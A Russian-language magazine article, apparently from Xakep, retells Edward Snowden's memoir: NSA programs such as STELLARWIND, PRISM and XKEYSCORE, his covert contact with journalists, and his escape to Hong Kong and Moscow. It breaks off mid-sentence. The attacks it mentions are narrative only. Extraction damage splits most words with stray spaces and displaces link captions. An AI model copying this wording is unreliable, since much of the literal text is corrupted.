как  в  Китае  ведет ся  широко мас штаб ная  слеж ка,  его  тех ничес кая  инту иция
напом нила ему: если что‐то воз можно сде лать, то кто‐то это сде лает и, ско‐ 
рее все го, уже сде лал. Он задумал ся, как дела обсто ят в его род ной стра не.

Сно уден утвер жда ет, что в 2009 году эта тема его осо бо не вол новала. Он
искрен не  верил,  что  одно  дело  —  китай ский  тотали тар ный  режим  и  его
великий китай ский фай рвол, а дру гое — Аме рика, где (как он полагал) спец‐ 
служ бы, конеч но, сле дят за поль зовате лями интерне та — но толь ко за теми,
кто  заходит  на  сай ты  тер рорис тов.  Нап равлен ная,  а  не  широко мас штаб ная
слеж ка.

INFO

На писан ное выше зву чит нес коль ко наив но,  чего
сам Сно уден и не отри цает. Ведь еще в 2004 году
газета Washington Post   про сис тему ECH‐
ELON,  а  в  том  самом  2009  году    о  ней
вышел даже на Хаб ре. В защиту Сно уде на мож но
ска зать  лишь  то,  что  до  его  собс твен ных  разоб‐ 
лачений  о  мас шта бе  и  под робнос тях  устрой ства
таких  сис тем  информа ция  была  обры воч ной.
Про  ту же  сис тему ECHELON было извес тно,  что
у  нее  есть  огра ниче ния  по  мас шта бу  и  охва ту
прос лушки. К  тому же офи циаль ные лица всег да
говорят  «мы  за  вами  совер шенно  точ но  не  сле‐ 
дим» или  «без  ком мента риев» —  так  что до Сно‐ 
уде на  доказа тель ств  не  было.  Были  толь ко
намеки, на которые мож но было зак рывать гла за.

пи сала
ма тери ал

За инте ресо вав шись  воп росом,  Сно уден  поп робовал  изу чить  исто рию  с  так
называ емой  , которая офи циаль но была объ‐ 
явле на  зак рытой  в  2007  году  пос ле  дли тель ного  скан дала  с  учас тием  кон‐ 
грес са США. Суть скан дала, если вкрат це, была в том, что, сог ласно законо‐ 
датель ству и Кон сти туции США, сле дить за граж данами США без пос танов‐ 
ления суда незакон но, а законы дол жны соб людать ся (пра ва граж дан дру гих
стран — это уже сов сем дру гой воп рос). Но, как обна ружил Сно уден, изу чая
докумен ты,  пос ле  зак рытия  прог раммы  были  при няты  законы  с  очень  двус‐ 
мыслен ными фор мулиров ками, а сам пред став ленный общес твен ности док‐ 
лад  о  прог рамме  был  нас толь ко  беден  деталя ми,  что  Сно уде ну  захоте лось
най ти в сети АНБ его изна чаль ную, неот редак тирован ную вер сию.

President’s Surveillance Program

Ему это не уда лось.
Но спус тя  какое‐то вре мя уда ча улыб нулась ему. В его обя зан ности вхо‐ 

дила  про вер ка  работы  сис темы,  которая  сле дила,  что бы  самые  сек ретные
докумен ты  не  хра нились  на  менее  защищен ных  компь юте рах.  Сис тема
работа ла по клю чевым сло вам и, если файл с клю чевым сло вом ока зывал ся
на  недос таточ но  защищен ном  жес тком  дис ке,  подава ла  сиг нал,  а  Сно уден
про верял,  не про изош ло ли  лож ного сра баты вания. И  кто‐то помес тил  чер‐ 
новик жут ко сек ретно го докумен та в сис тему, адми нис тра тором которой был
Сно уден.  Сто ило  ему  уви деть  гриф  сек ретнос ти  такого  уров ня,  какого  он
рань ше никог да не видел, и заголо вок докумен та — и он не смог оста новить‐ 
ся.

ДАН НЫЕ УДА ЛЕНЫ
Сно уден  сор вал  джек пот.  Этот  файл  силь но  отли чал ся  от  док лада
для широкой пуб лики — нас толь ко, что делал пуб личную вер сию неп рикры той
ложью. В нем под робно опи сыва лась новая мис сия АНБ — переход от слеж ки
за отдель ными целевы ми объ екта ми к мас сирован ному сбо ру информа ции —
и обос нование для это го перехо да: у нас есть для это го мощ ности, и, зна чит,
мы дол жны их исполь зовать.

Ут вер жда лось,  что  по  ана логии  с  «раз рывом  по  бом барди ров щикам»
и «раз рывом по ракетам» вре мен холод ной вой ны ныне сущес тву ет «раз рыв
по  сбо ру  информа ции» —  толь ко  про тив ником  в  нем  выс тупа ет  не  Рос сия
и  не  Китай,  а  род ное  аме рикан ское  законо датель ство.  Мол,  оно  уста рело,
не рас счи тано на циф ровую эпо ху, никакие суды не будут успе вать выдавать
орде ра на прос лушку — и поэто му нуж но прос лушивать и записы вать все.

В  качес тве  пос ледней  юри дичес кой  хит рости  пред лагалось  счи тать,  что
непос редс твен но  акт  прос лушки  сос тоял ся,  толь ко  если  информа ция  изы‐ 
малась  из  базы  дан ных  АНБ  для  ана лиза,  —  а  само  авто мати чес кое  сох‐ 
ранение  информа ции  в  эту  базу,  мол,  не  счи тает ся.  Так же  пред лагалось
собирать  толь ко  метадан ные:  боль шинс тво  людей  дума ют,  что  раз  это  не
само содер жимое их перепис ки и телефон ных звон ков, то это ерун да, не сто‐ 
ящая вни мания, а спец служ бы смо гут извлечь из них мас су полез ных дан ных.

Прог рамма  называ лась  STELLARWIND.  И  была  утвер жде на  пре зиден том
Бушем‐млад шим еще в 2001 году.

WWW

Ес ли хочешь самос тоятель но озна комить ся с тем
самым  докумен том,  то  бла года ря  Сно уде ну,
изда нию The Guardian и «Википе дии» ты можешь
это  сде лать.  Вот  он,  по  .  А    пре зен‐ 
тация  о  прог рамме  XKEYSCORE,  о  которой  речь
пой дет впе реди.

ссыл ке вот

Про читан ное пот рясло Сно уде на. Но что с этим делать, он не знал. А жизнь
его  тем  вре менем  шла  сво им  чередом.  В  2011  году  он  все  еще  работал
на Dell, но уже по кон трак ту ЦРУ. Кол леги из Dell были очень впе чат лены его
про ектом  EPICSHELTER  и  пред ложили  ему  под зарабо тать  в  качес тве  «кон‐ 
суль тан та  по  решени ям» —  обе щать  тех нологи чес кие  чудеса  дешев ле,  чем
у кон курен тов, и делать что‐то, отда лен но похожее на обе щан ное, заг ребая
кучу  денег.  В  моде  были  облачные  тех нологии,  и  руководс тву  Dell  уда лось
под рядить ся сде лать для ЦРУ обла ко для хра нения их дан ных и выпол нения
задач  (забегая  впе ред,  ска жем,  что  в  ито ге  в  ЦРУ  отка зались  и  от  про екта
Dell, и от про екта Hewlett‐Packard — а купили решение на 600 мил лионов дол‐ 
ларов  у  Amazon).  А Сно уден  решил,  что  день ги  и море  работы  помогут  ему
отвлечь ся от мук совес ти.

Про дол жалось это недол го. От рабочей наг рузки и нер вно го нап ряжения
у  Сно уде на  ухуд шилось  здо ровье.  Приш лось  взять  отпуск  по  болез ни,
который  пре дос тавил  ему  кучу  вре мени  для  мрач ных  раз мышле ний.  Что бы
не сидеть сов сем без дела, он занимал ся про ектом Tor — его пытались заб‐ 
локиро вать в Ира не, и Сно уден работал над шиф ровани ем тра фика, которое
поз волило  бы  избе гать  обна руже ния  при  помощи  DPI.  (Веро ятно,  он  при‐ 
ложил свою руку к  .)ре лизу от сен тября 2011 года

На этом момен те кон чает ся вто рая часть кни ги — и начина ется третья, где
шпи онский трил лер плав но прев раща ется прос то в трил лер.

ПОГРУЖАЯСЬ ГЛУБЖЕ
В 2012 году Сно уде на сно ва ждал кон тракт с АНБ — на этот раз на Гавай ях,
где рас полагал ся так называ емый тун нель Куниа — пере обо рудо ван ная под‐ 
земная база  вре мен Вто рой мировой  вой ны. Проб лемы со  здо ровь ем при‐ 
вели Сно уде на  к  тому,  что  он  нуж дался  в  работе  с  наг рузкой  помень ше, —
и ему дос талось мес то в отде ле обме на информа цией. Отдел сос тоял из него
одно го  и  был  пос вящен  работе  с  прог раммой Microsoft  SharePoint,  которая
управля ет  докумен тообо ротом:  раз дает  поль зовате лям  пра ва  на  чте ние,
прав ку и рас сылку/получе ние дос тупных по сети докумен тов.

Во рота, ведущие в «тун нель Куниа». Фотог рафии изнутри пуб лике недос ‐
тупны

И Сно уден был наз начен ее адми нис тра тором. Тут‐то он и решил окон чатель‐ 
но, что будет изу чать докумен ты, про ходя щие через него, что бы разоб рать ся
в  том,  как  обсто ят  дела  с  мас совой  слеж кой  за  граж данами  США  и  все го
мира.

Но  сде лать  это  было  не  так‐то  прос то.  В  одних  докумен тах  встре чались
наз вания  прог рамм  без  объ ясне ния  их  фун кций.  В  дру гих —  рас плыв чатые
опи сания  тех ничес ки  воз можных  схем,  без  упо мина ния,  в  какой  ста дии  их
реали зация.

Сто рожа сто рожей
Что ж, Сно уден не отсту пил ся. Он вос поль зовал ся сво ими навыка ми и сво ей
дол жностью  —  и  взял ся  соз дать  авто мати зиро ван ную  сис тему  обме на
информа цией  меж ду  фили ала ми  АНБ  и  офи сами  дру гих  раз ведыва тель ных
агентств, име ющих меж сетевые свя зи. У каж дого из таких отде лов были свои
«дос ки сооб щений» (readboards), на которых ежед невно пуб ликова лись свод‐ 
ки событий, сос тавля емые мес тны ми сот рудни ками. Сно уден был их заяд лым
читате лем, и его лич ный архив занимал столь ко мес та, что гро зил пре высить
кво ту на раз меры лич ной пап ки.

Так что час тную ини циати ву было необ ходимо наделить офи циаль ным ста‐ 
тусом. Исполь зуя ста рые наработ ки с про екта EPICSHELTER, он внед рил про‐ 
вер ку  на  уни каль ность  сооб щений,  добавил  фун кци ональ ность  пер сонали‐ 
зиро ван ной  выбор ки  сооб щений  для  поль зовате ля  по  кри тери ям  от  под‐ 
разде ления раз ведки до уров ня допус ка — и про дукт был готов.

Он  наз вал  свое  детище  Heartbeat  и  получил  под  него  спе циаль но
выделен ный  сер вер,  единс твен ным  адми нис тра тором  которо го  был  он
сам, — охват прог раммы и объ ем собира емых дан ных ока зал ся весь ма зна‐ 
читель ным. Однажды это даже пос тавило его под подоз рение — с ним свя‐ 
зал ся адми нис тра тор одно го из фили алов и спро сил, зачем эта сис тема пос‐ 
тоян но копиру ет все записи из его базы дан ных. Такая активность показа лась
ему  подоз ритель ной,  и  он  заб локиро вал  дос туп  прог рамме  Сно уде на.
Но Сно уден объ яснил ему смысл ини циати вы, показал, как работать с поль‐ 
зователь ской частью прог раммы, и момен таль но заво евал его доверие. Как и
мно гие  кол леги  Сно уде на,  тот  мог  заподоз рить  челове ка,  но  машину  —
никог да, ведь она прос то делала то, на что была зап рограм мирова на.

Этот  инци дент  еще  боль ше  под тол кнул  Сно уде на  задумать ся,  как  тех‐ 
нологи чес кие  воз можнос ти  сис темы  сами  собой  порож дают  потен циал
для  зло упот ребле ния, — и  изу чить  под робнос ти  того,  как  его  работо датель
и  его  пра витель ство  зло упот ребля ли  воз можнос тями  сво их  тех ничес ких
и юри дичес ких сис тем. Прог рамма Heartbeat силь но ему в этом помог ла.

Со бирая моза ику
Имен но  так  Сно уден  попол нял  свой  архив  матери алов:  вчи тыва ясь  в  сухие
строч ки  пра витель ствен ных  пос танов лений,  которые  гла сили,  что  ком пании
дол жны  переда вать  пра витель ству  «любого  сор та  информа цию»,  которая
«потен циаль но  может  иметь  отно шение  к  тер рорис тичес кой  активнос ти
или деятель нос ти зарубеж ных раз ведок», на «ежед невной осно ве».

Так он узнал, что текущая вер сия прог раммы для мас совой слеж ки называ‐ 
ется  PRISM — и  что  она  вклю чает  в  себя  как  переда чу  дан ных  из  облачных
хра нилищ  тех нологи чес ких  ком паний,  в  том  чис ле  Microsoft,  Yahoo,  Google,
Facebook, YouTube и Skype. А в пару к ней при лага лась методи ка так называ‐ 
емо го upstream collection — перех вата дан ных у магис траль ных интернет‐про‐ 
вай деров.

От куда и какие дан ные собира ет PRISM

Да ты интегра ции раз ных сай тов и ком паний в PRISM

Прин цип индекса ции фай лов внут ри PRISM

Но АНБ не огра ничи валось прос тым сбо ром информа ции — прог рамма TUR‐
BULENCE, сос тоящая из двух  час тей, была спо соб на на активные дей ствия.
Она работа ла в  усло виях upstream collection — на сер верах меж дународ ных
телеком муника цион ных  ком паний  в  стра нах,  сог ласив шихся  сот рудни чать
с Аме рикой.

Пер вый  ком понент  сис темы,  TURMOIL,  про верял  зап росы,  про ходя щие
через  него,  на  соот ветс твие  опре делен ным  кри тери ям — от  клю чевых  слов
до кон крет ных IP‐адре сов или номеров кре диток, — и если зап рос ока зывал‐ 
ся подоз ритель ным,  то он перенап равлял ся во вто рой ком понент, TURBINE.
Вмес то сво его пун кта наз начения зап рос попадал на сер веры АНБ, где в него
пытались внед рить скры тые вре донос ные прог раммы, перед тем как вер нуть
резуль тат зап роса отпра вите лю.

INFO

Ес ли  у  тебя  голова  кру гом  идет  от  бес конеч ных
кодовых  имен  прог рамм,  которые  дела ют
похожие  вещи,  вспом ни,  что  говори лось  выше
про  рас пре деле ние  бюд жета  на  сек ретные  про‐ 
екты.  Аме рикан ская  раз ведка  очень  хорошо
финан сиру ется  —  и  это  толь ко  подс тре кает  ее
пос тоян но обновлять свои сис темы, дуб лировать
их,  рас ширять  мас шта бы  работы  —  лиш ним
не  будет,  а  налогоп латель щики  зап латят  за  все,
даже  не  имея  воз можнос ти  узнать,  куда  идут  их
день ги.

Зов пред ков
Изу чив раз нооб разные докумен ты, в которых были в том чис ле отче ты о вза‐ 
имо дей ствии раз ведки США с раз ными общес твен ными орга низа циями Аме‐ 
рики — от кон грес са и до Аме рикан ско го союза защиты граж дан ских сво бод
(ACLU), Сно уден окон чатель но убе дил ся: сис тема раз деления влас тей и кон‐ 
тро ля со сто роны граж дан ско го общес тва име ла те же уяз вимос ти, что и мно‐ 
гие тех ничес кие сис темы, с которы ми он стал кивал ся. Ее мож но было взло‐ 
мать, соб людая бук ву пра вил, но извра тив дух. Мож но было подать судеб ный
иск  про тив  пра витель ства,  но  суд  имел  пра во  обра щать  вни мание  толь ко
на  информа цию,  которую  пра витель ство  офи циаль но  приз навало  пуб лично
извес тной.

Сно уден — иде алист и любитель исто рии сво ей стра ны — знал, что еще в
XVIII  веке  Аме рика  родилась  из  про тес та  про тив  нес пра вед ливых  законов
и про воз гла сила в чис ле сво их законов сле дующее: «Обя зан ность всех слу‐ 
жащих Соеди нен ных Шта тов, рав но как и всех их оби тате лей, — ско рей шим
обра зом  сооб щать  кон грес су  или  любому  пред ста вите лю  влас ти  о  любых
прос тупках,  под логах  и  прес тупле ниях,  совер шенных  любыми  лицами
на государс твен ной служ бе, о коих им ста нет извес тно».

Ре шимость  дей ство вать  креп ла  в  его  душе. Но  он  знал,  что  дей ство вать
нуж но хлад нокров но и рас четли во,  тща тель но все про думав. Вто рого шан са
у него бы не было. Так что он вел двой ную жизнь — ходил на работу, ничего
не говорил Лин дси и про раба тывал свой план.
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СИСАДМИН ПРОТИВ
СИСТЕМЫ

О ЧЕМ ЭДВАРД СНОУДЕН НАПИСАЛ
В АВТОБИОГРАФИИ PERMANENT RECORD

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

БЕЗ ПРАВА НА ОШИБКУ
Пе ред  Сно уде ном  сто яла  слож ная  и  любопыт ная  проб лема.  У  него  был
огромный  мас сив  слу жеб ной  перепис ки,  тех ничес кой  докумен тации  и  пре‐ 
зен таций  в  Power  Point.  Если  прос то  вывалить  все  это  на  ано ним ный  сайт
в  интерне те  или  пред ложить  про екту WikiLeaks  с  его  полити кой  пуб ликации
любых дан ных «как есть», без редак туры — то его прос то не заметят. Прав да
ока жет ся  слиш ком  слож ной  и  боль шой  для  понима ния  пуб ликой. Подоб ные
при меры уже встре чались неод нократ но.

Сно уден  пишет  о  том,  как  однажды  гла ва  тех нологи чес кого  отде ла  ЦРУ
Гас Хант выс тупал на кон ферен ции GigaOM Structure и набол тал мно го такого,
о  чем  говорить  не  при нято.  Он  пуб лично,  на  камеру  рас ска зывал,  что  раз‐ 
ведка  жаж дет  соб рать  всю  информа цию  мира  и  хра нить  ее  веч но.  Что  они
могут сле дить за людь ми через их смар тфо ны, даже если те вык лючены.

Об  этом  выс тупле нии    изда ние  Huffington  Post.  Видео  с  той  кон‐ 
ферен ции  выложе но  на  YouTube.  Ког да  Сно уден  писал  свою  кни гу,  у  него
было 313 прос мотров. На момент соз дания этой статьи у него их 3219. Вот
оно, можешь тоже пос мотреть.

пи сало

По иск союз ников
Все  это  чрез вычай но  усложня ло  задачу Сно уде ну. Но  в  ито ге  он  понял,  что
«кто  нам  меша ет,  тот  нам  и  поможет».  Он  решил  выб рать  жур налис тов,
которые уже име ли проб лемы с АНБ из‐за сво ей чес тной и дотош ной работы.
Он  оста новил ся  на  ,  незави симой  режис серке‐докумен талис‐ 
тке, которой уже доводи лось работать с быв шими сот рудни ками АНБ, и Глен‐ 
не  Грин валь де,  сот рудни ке  газеты  The Guardian, юрис те  по  воп росам  граж‐ 
дан ских  прав  и  сво бод,  который  впе чат лил  Сно уде на  сво ей  дотош ностью
и скеп тициз мом.

Ло ре Пой трас

Вы бор был сде лан. Но нуж но было понять, как свя зать ся с ними, не выдав
себя.

Что  ж,  Сно уден  всег да  счи тал  себя  спе циалис том  по  воп росам  ано ним‐ 
ности в интерне те. Нас тало вре мя для решитель ной про вер ки его навыков.

Он  воору жил ся  дешевым  ноут буком  со  спе циаль ной  опе раци онной  сис‐ 
темой Tails (встро енная под дер жка Tor, сок рытие MAC‐адре са и сис тема, уда‐ 
ляющая  все  логи  работы  с  компь юте ром  при  его  вык лючении),  сел  за  руль
авто моби ля и занял ся вар драй вин гом — поис ком уяз вимых точек дос тупа Wi‐
Fi, которые мож но было взло мать и вый ти через них в интернет.

INFO

Об  уста нов ке  и  исполь зовании  Tails  читай
в статье «

».
Де лаем шпи онскую флеш ку с защищен‐ 

ной опе раци онкой Tails

Сно уден  регуляр но  менял  одну  взло ман ную  точ ку  дос тупа  на  дру гую
и  перепи сывал ся  с  жур налис тами.  Ему  приш лось  объ яснить  им,  как  шиф‐ 
ровать  свою  элек трон ную  поч ту.  А  потом  он шел  на  работу,  выпол нял  свои
рабочие  обя зан ности  и  обду мывал,  как  обой ти  сис темы  безопас ности
и вынес ти сек реты из внут ренней сети АНБ во внеш ний мир.

Эк сфиль тра ция
У Сно уде на было пре иму щес тво: он был сисад мином и поэто му знал, как все
устро ено изнутри. К тому же к его услу гам была прог рамма Heartbeat. К ней
на  тот  момент  все  дав но  при вык ли,  но  накоп ленные  в  ней  дан ные  лежали
на выделен ном для нее сер вере, и их нель зя было прос то так отту да ско пиро‐ 
вать.  Рабочие  компь юте ры  АНБ  пред став ляли  собой  маломощ ные  тер‐ 
миналы,  под клю чен ные  к  облачной  сис теме.  Но  Сно уден  нашел  в  одном
из под собных помеще ний склад ста рых компь юте ров Dell — 2009 года выпус‐ 
ка, но уже спи сан ных за ненадоб ностью.

Сно уден  прит ворил ся,  что  исполь зует  их  для  про вер ки  сов мести мос ти
сво ей  прог раммы Heartbeat  с  более  ста рыми машина ми — на  слу чай,  если
менее  прод винутое  агентство  захочет  внед рить  ее  у  себя.  Ког да  он
с огромным сис темным бло ком в руках попал ся на гла за началь ству, ему уда‐ 
лось прос то отшу тить ся.

На эти компь юте ры он сумел ско пиро вать фай лы, соб ранные прог раммой
Heartbeat, отоб рать из них наибо лее важ ные и ско пиро вать этот архив на кар‐ 
ты  памяти mini‐  и micro‐SD.  Запись  одной  кар ты  занима ла  часов  восемь —
Сно уден  сно ва  работал  в  ноч ные  сме ны.  Никог да  еще  ожи дание  кон ца
копиро вания не было таким мучитель ным, вспо мина ет он.

Пос ле Сно уден  выносил  кар ты  памяти  с базы,  пря ча  их  в  кубике Рубика.
Он  подарил  нес коль ко  кубиков  кол легам,  что бы  все  при вык ли  к  виду  этой
игрушки, а так же спе циаль но вер тел кубик в руках, бол тая с охранни ками, —
что бы те запом нили его как пар ня с кубиком Рубика. А дома его жда ла нер‐ 
вная бес сонни ца и дол гая воз ня с шиф ровани ем.

Шиф рование ста ло новой страстью Сно уде на. Он знал, что толь ко длин‐ 
ный ключ шиф рования дает гаран тию сек ретнос ти, которую не могут дать сте‐ 
ны  с  колючей  про воло кой,  охранни ки  и  про чие  меры  безопас ности.  Пока
у  него  еще  было  нем ного  вре мени,  он  орга низо вал  в  сто лице  Гавай ев
Гонолу лу   — откры тую для широкой пуб лики лек цию по воп‐ 
росам  безопас ности  в  интерне те.  А  свои  собс твен ные  дан ные  он  зашиф‐ 
ровал с при мене нием мно жес твен ных  .

крип товече рин ку

zero‐knowledge keys

Фак тор человеч ности
На пос ледок  Сно уден  решил,  что  дол жен  лич но  уви деть,  как  работа ют  опе‐ 
рато ры сис темы гло баль ной слеж ки. Он попал в новый офис АНБ на Гавай ях,
еще  не  до  кон ца  дос тро енный,  куда  пла ниро валось  посадить  пра витель‐ 
ствен ных  хакеров  из  под разде ления    и  отдел  Na‐
tional  Threat Operations Center,  перед  которым сто яла  задача раз рабаты вать
меры защиты от  кол лег из дру гих  стран. Оба отде ла дол жны были работать
с прог раммой  , на которую Сно уден и желал взгля нуть.

Tailored  Access Operations

XKEYSCORE
Со вре мен Женевы Сно уден не занимал ся никакой нас тоящей шпи онской

деятель ностью  —  он  толь ко  изу чал  круп ные  сис темы  и  читал  докумен ты.
Но  здесь  ему  приш лось  выс тупить  в  роли  ана лити ка —  то  есть  непос редс‐ 
твен но  наб людать  за  живыми  людь ми.  Прог рамма  работа ла  с  раз личны ми
иден тифика тора ми:  IP‐адре сом,  номером  телефо на  или  физичес ким  адре‐ 
сом  —  и  показы вала,  что  человек  с  этим  иден тифика тором  делал  в  сети.
Пись ма, исто рия бра узе ра, активность в соци аль ных сетях...

При  этом  кон троль  за  опе рато рами  сис темы  прак тичес ки  отсутс тво вал.
Дос таточ но было сфор мулиро вать свой зап рос в сис тему в слу жеб ном фор‐ 
мате, а не обыч ным тек стом — и мож но было шпи онить за полити ками и биз‐ 
несме нами  по  все му миру. Но  кол леги Сно уде на  пред почита ли  дру гие  раз‐ 
вле чения,  которые они называ ли LOVEINT  (по ана логии с HUMINT и SIGINT).
То  есть  слеж ку  за  сво ими  быв шими  под ружка ми  (а  так же  нынеш ними  под‐ 
ружка ми  и  прос то  приг лянув шимися  им  слу чай ными  жен щинами).  А  если
кто‐то во вре мя работы натыкал ся на чужие интимные фотог рафии, хорошим
тоном счи талось показы вать их кол легам.

«Уни каль ные дан ные, выходя щие за пре делы поль зователь ской
активнос ти из пол ноох ватно го потока перед него края», или мас терс тво
обте каемых фор мулиро вок

Но окон чатель но добил Сно уде на малень кий эпи зод, слу чив ший ся, ког да он
наб людал  за  активностью  инже нера  из  Индо незии,  вся  подоз ритель ность
которо го зак лючалась в том, что он отпра вил резюме на вакан сию в иран ском
уни вер ситете.  С  того  момен та  АНБ  сле дило  за  ним,  и  Сно уден  изу чал  его
досье.  В  досье  были  фотог рафии  и  видео  (веро ятно,  запись  виде озвонка
или перех ват кар тинки с веб‐камеры), где уче ный занимал ся за компь юте ром,
дер жа на коленях малень кого ребен ка. Ребенок не сидел спо кой но, возил ся,
играл  и  заг лянул  пря мо  в  камеру.  Пос ле  это го  эпи зода  Сно уден  понял:  он
уви дел все, что хотел.

ВЕЛИКИЙ ПОБЕГ
Все  было  готово  для  переда чи  фай лов  жур налис там.  Оста валось  толь ко
решить, что делать с пос ледс тви ями этой переда чи — Сно уден ни на секун ду
не сом невал ся, что его очень быс тро най дут. Он знал, что некото рые из фай‐ 
лов в его архи ве содер жали метадан ные, которые при вели бы рас сле дова ние
пря мо к нему. А рас сле дова ние гаран тирова ло дол гий тюрем ный срок в край‐ 
не суровой тюрь ме. В луч шем слу чае.

Так что надо было бежать из стра ны. Он переби рал вари анты и не находил
их. В Евро пе влас ти пош ли бы на уступки аме рикан цам. В Латин ской Аме рике
или  Афри ке  спец служ бы  смог ли  бы  про вес ти  тай ную  опе рацию.  Побег
в  Китай,  Рос сию  или  на  Ближ ний  Вос ток  авто мати чес ки  выс тавил  бы  его
перед пуб ликой пособ ником вра гов Аме рики.

Он выб рал Гон конг, наде ясь на сво еоб разный ста тус этой тер ритории —
меж ду Кита ем и  запад ным миром,  где ни одна спец служ ба не рис кнет под‐ 
нимать мно го шума.

Он заз вал свою мать в гос ти на Гавайи, к Лин дси — что бы они под держи‐ 
вали  друг  дру га. Он  соб рал  свой  скуд ный багаж,  в  который  вхо дили  четыре
ноут бука —  для  обыч ных  дел,  для  безопас ной  свя зи,  пус тышку,  на  котором
ничего не было, и компь ютер, который он никог да не под клю чал к интерне ту.

Сно уден отпро сил ся с работы, сос лавшись на обос тре ние сво их проб лем
со  здо ровь ем.  Он  оста вил  свой  смар тфон  на  кух не  вмес те  с  запис кой
для Лин дси — мол, сроч ная коман диров ка, не знаю, ког да вер нусь. Под писал
ее сво им проз вищем, дописал сло ва люб ви — и поехал в аэро порт. Там он
за налич ные купил билет на бли жай ший самолет в Токио, где так же за налич‐ 
ные сел на рейс до Гон конга.

За лечь на дно в Гон конге
В Гон конге Сно уден заселил ся в отель и повесил на две ри номера таб личку
«Не бес поко ить». Ему оста валось  толь ко ждать,  кто доберет ся до него пер‐ 
вым — жур налис ты или аген ты раз ведки. В Гон конг он при был 20 мая, но жур‐ 
налис тов  приш лось  ждать  до  2  июня.  Он  наз начил  им  встре чу  в  углу  рес‐ 
торана при оте ле и ска зал, что будет дер жать в руках кубик Рубика.

Ге рой статьи и его вер ный товарищ

Жур налис ты, по их сло вам, ожи дали уви деть перед собой смер тель но боль‐ 
ного ветера на раз ведки, куряще го одну сигаре ту за дру гой. Слож но пред ста‐ 
вить,  что  у  такого молодо го пар ня в руках может ока зать ся подоб ный архив
докумен тов  —  и  такая  готов ность  сло мать  свою  успешную,  обес печен ную
жизнь.

Сам Сно уден ужас но нер вни чал, ког да на него нас тавили камеру. Он при‐ 
вык  дер жать ся  в  тени  —  а  тут  на  него  собирал ся  смот реть  весь  мир.  Он
пережи вал обо всем на све те, вклю чая бар дак в номере. Но вот оно, видео
с самого пер вого дня их встре чи, — и по нему сов сем незамет но, какая буря
бушева ла в душе Сно уде на.

Впро чем, никакие душев ные вол нения не мог ли срав нить ся с тем штор мом,
который под нялся в мире пос ле пуб ликации разоб лачитель ных ста тей. Сно‐ 
уден  не  побо ялся  выс тупить  со  сво им  заяв лени ем,  не  скры вая  лица,
и понимал воз можные пос ледс твия таких дей ствий — но пла на на жизнь пос‐ 
ле разоб лачения у него не было. Он слиш ком мно го думал о том, как дожить
до это го момен та и не про колоть ся, и слиш ком опа сал ся, что это го может так
и не слу чить ся.

За то  ник то  не  мог  обви нить  его  в  сот рудни чес тве  с  инос тран ными  раз‐ 
ведка ми,  потому  что  он  не  про сил  убе жища  ни  в  какой  стра не.  Так  что  его
быв шим  работо дате лям  при ходи лось  искать  дру гие  спо собы  дис кре дити‐ 
ровать разоб лачите ля. Идей ное несог ласие не вхо дило в их кру гозор — про‐ 
фес сиональ ный  цинизм  раз ведчи ков  при рав нива ет  иде ализм  к  иди отиз му,
но человек, который обвел вок руг паль ца могущес твен ную спец служ бу, явно
не мог быть иди отом. Сис тема пыталась осмыслить про изо шед шее в  сво их
тер минах, най ти корыс тную мотива цию — и не мог ла.

Де монс тра ция в под дер жку Сно уде на в Гон конге

А  Сно уден  тем  вре менем  покинул  отель  через  один  из  запас ных  выходов
и скры вал ся в бед ных квар талах, сре ди бежен цев. Жур налис ты поз накоми ли
его с мес тны ми юрис тами, решив шими взять ся  за его дело, — и  у  них ока‐ 
зались  неожи дан ные  и  весь ма  полез ные  зна комс тва.  При вык ший  к  впол не
обес печен ной жиз ни Сно уден был поражен и рас тро ган тем, как бед ные люди
с  готов ностью  без возмез дно  делили  с  ним  свои  чрез вычай но  скром ные
ресур сы и жилье, более тес ное, чем его быв ший номер в оте ле.

Ви деооб ращение  Сно уде на  выш ло  9  июня,  а  к  14  июня  пра витель ство
США уже вме нило ему обви нения в шпи она же. 21 июня — в день рож дения
Сно уде на — они разос лали зап росы на его экс тра дицию. Юрис ты Сно уде на
с горечью сооб щили ему о том, что ООН не может приз нать его бежен цем, —
влас ти Гон конга отка зались с ними сот рудни чать и дали понять, что Сно уде ну
здесь не рады.

Он стер все дан ные со сво их компь юте ров и унич тожил крип тогра фичес‐ 
кие  клю чи — дело было сде лано,  и мож но было изба вить ся от  лиш них  сви‐ 
детель ств.  Нуж но  было  думать,  куда  нап равить ся  даль ше  и  кто  может  ему
помочь.

Кто поможет изгою?
Ник то из офи циаль ных лиц помочь Сно уде ну не мог — все слиш ком боялись
гне ва  США.  От  Исландии  до  Индии  мак симум,  на  что  мож но  было  рас счи‐ 
тывать,  —  это  неофи циаль ный  совет  «ради  вашего  же  бла га  не  въез жай те
на нашу тер риторию». Роб кая надеж да была лишь на Эква дор — малень кая
латино аме рикан ская  стра на  уже  укры вала  в  сво ем  посоль стве  Джу лиана
Ассанжа,  а  ее  пре зиден ту  уже  доводи лось  идти  про тив  США  и  бороть ся
с сетью вли яния аме рикан ских спец служб в реги оне.

С  получе нием  убе жища  в  Эква доре  Сно уде ну  собира лась  помочь  Сара
Хар рисон,  редак тор  сай та  WikiLeaks,  у  которой  к  тому  же  были  родс твен‐ 
ники‐юрис ты  в  Гон конге.  С  Джу лианом  Ассанжем  Сно уден  толь ко  перепи‐ 
сывал ся,  и  не  очень  дол го  —  в  чем‐то  у  них  обра зова лись  раз ногла сия,
и харак тер Ассанжа казал ся Сно уде ну тяжелым и неконс трук тивным. Но Сара
Хар рисон  мог ла  помочь  и  сло вом,  и  делом,  и  Сно уден  не  собирал ся  отка‐ 
зывать ся  от  помощи.  Она  свя залась  с  эква дор ским  кон сулом  в  Лон доне,
Фиделем Нар ваэсом, и тот под свою ответс твен ность выписал Сно уде ну спе‐ 
циаль ный  , который дол жен был помочь ему доб рать ся до Эква‐ 
дора.

пас порт ООН

Пря мого  рей са  из  Гон конга  до  сто лицы  Эква дора  Кито  не  сущес тву ет.
Нуж но  было  лететь  с  нес коль кими  пересад ками  —  через  Мос кву,  Гавану
и  Каракас.  Любые  дру гие  мар шру ты  вели  через  воз душное  прос транс тво
союз ников НАТО, что было чре вато круп ными неп рият ностя ми.

В аэро пор ту Сара не отхо дила от Сно уде на ни на шаг. Она говори ла, что
дела ет это не ради его защиты, — ник то не смог бы его защитить. Но наличие
про фес сиональ ного  и  неот ступ ного  сви дете ля  мог ло  нем ного  зат руднить
вме шатель ство — и в ито ге 23 июня они при зем лились в Шереметь еве.

Ра зуме ется, их там жда ли. Разуме ется, Сара не оста вила Сно уде на — их
